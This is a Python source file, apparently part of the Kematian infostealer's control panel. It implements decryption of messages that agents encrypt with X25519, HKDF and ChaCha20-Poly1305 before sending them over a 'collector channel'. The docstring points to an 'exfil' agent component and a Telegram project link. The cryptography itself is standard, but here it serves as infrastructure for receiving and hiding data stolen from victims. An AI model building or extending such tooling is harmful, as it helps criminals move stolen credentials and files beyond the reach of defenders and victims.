73 lines
2.4 KiB
Python
73 lines
2.4 KiB
Python
|
"""
|
||
|
|
End-to-end encryption for the collector channel.
|
||
|
|
|
||
|
|
Project: https://t.me/electronic_sex
|
||
|
|
|
||
|
|
Scheme (interoperable with the Go agent, see native/recovery/exfil/panel.go):
|
||
|
|
- agent generates an ephemeral X25519 keypair per message
|
||
|
|
- shared = ECDH(agent_ephemeral_priv, panel_public)
|
||
|
|
- key = HKDF-SHA256(shared, salt="kematian-e2ee-salt", info="kematian-e2ee-v1", 32)
|
||
|
|
- ct = ChaCha20-Poly1305(key, nonce=12B random)
|
||
|
|
- wire = base64( ephemeral_pub(32) || nonce(12) || ct )
|
||
|
|
The panel private key is the ONLY thing able to decrypt. The agent never
|
||
|
|
knows it; the panel never sends secrets over the wire.
|
||
|
|
"""
|
||
|
|
import base64
|
||
|
|
import os
|
||
|
|
|
||
|
|
from cryptography.hazmat.primitives import hashes, serialization
|
||
|
|
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey
|
||
|
|
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
|
||
|
|
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||
|
|
|
||
|
|
PRIV_KEY_FILE = os.path.join(os.path.dirname(__file__), "kematian_e2ee.key")
|
||
|
|
|
||
|
|
SALT = b"kematian-e2ee-salt"
|
||
|
|
INFO = b"kematian-e2ee-v1"
|
||
|
|
KEY_LEN = 32
|
||
|
|
NONCE_LEN = 12
|
||
|
|
PUB_LEN = 32
|
||
|
|
|
||
|
|
|
||
|
|
def load_or_create_keypair() -> X25519PrivateKey:
|
||
|
|
if os.path.exists(PRIV_KEY_FILE):
|
||
|
|
with open(PRIV_KEY_FILE, "rb") as f:
|
||
|
|
return X25519PrivateKey.from_private_bytes(f.read())
|
||
|
|
sk = X25519PrivateKey.generate()
|
||
|
|
with open(PRIV_KEY_FILE, "wb") as f:
|
||
|
|
f.write(sk.private_bytes(
|
||
|
|
serialization.Encoding.Raw,
|
||
|
|
serialization.PrivateFormat.Raw,
|
||
|
|
serialization.NoEncryption(),
|
||
|
|
))
|
||
|
|
return sk
|
||
|
|
|
||
|
|
|
||
|
|
def public_key_hex() -> str:
|
||
|
|
return load_or_create_keypair().public_key().public_bytes(
|
||
|
|
serialization.Encoding.Raw, serialization.PublicFormat.Raw
|
||
|
|
).hex()
|
||
|
|
|
||
|
|
|
||
|
|
def _derive_key(shared: bytes) -> bytes:
|
||
|
|
return HKDF(
|
||
|
|
algorithm=hashes.SHA256(),
|
||
|
|
length=KEY_LEN,
|
||
|
|
salt=SALT,
|
||
|
|
info=INFO,
|
||
|
|
).derive(shared)
|
||
|
|
|
||
|
|
|
||
|
|
def decrypt_wire(payload_b64: str) -> bytes:
|
||
|
|
raw = base64.b64decode(payload_b64)
|
||
|
|
if len(raw) < PUB_LEN + NONCE_LEN + 16:
|
||
|
|
raise ValueError("payload too short")
|
||
|
|
ephemeral_pub = raw[:PUB_LEN]
|
||
|
|
nonce = raw[PUB_LEN:PUB_LEN + NONCE_LEN]
|
||
|
|
ct = raw[PUB_LEN + NONCE_LEN:]
|
||
|
|
|
||
|
|
sk = load_or_create_keypair()
|
||
|
|
shared = sk.exchange(X25519PublicKey.from_public_bytes(ephemeral_pub))
|
||
|
|
key = _derive_key(shared)
|
||
|
|
return ChaCha20Poly1305(key).decrypt(nonce, ct, None)
|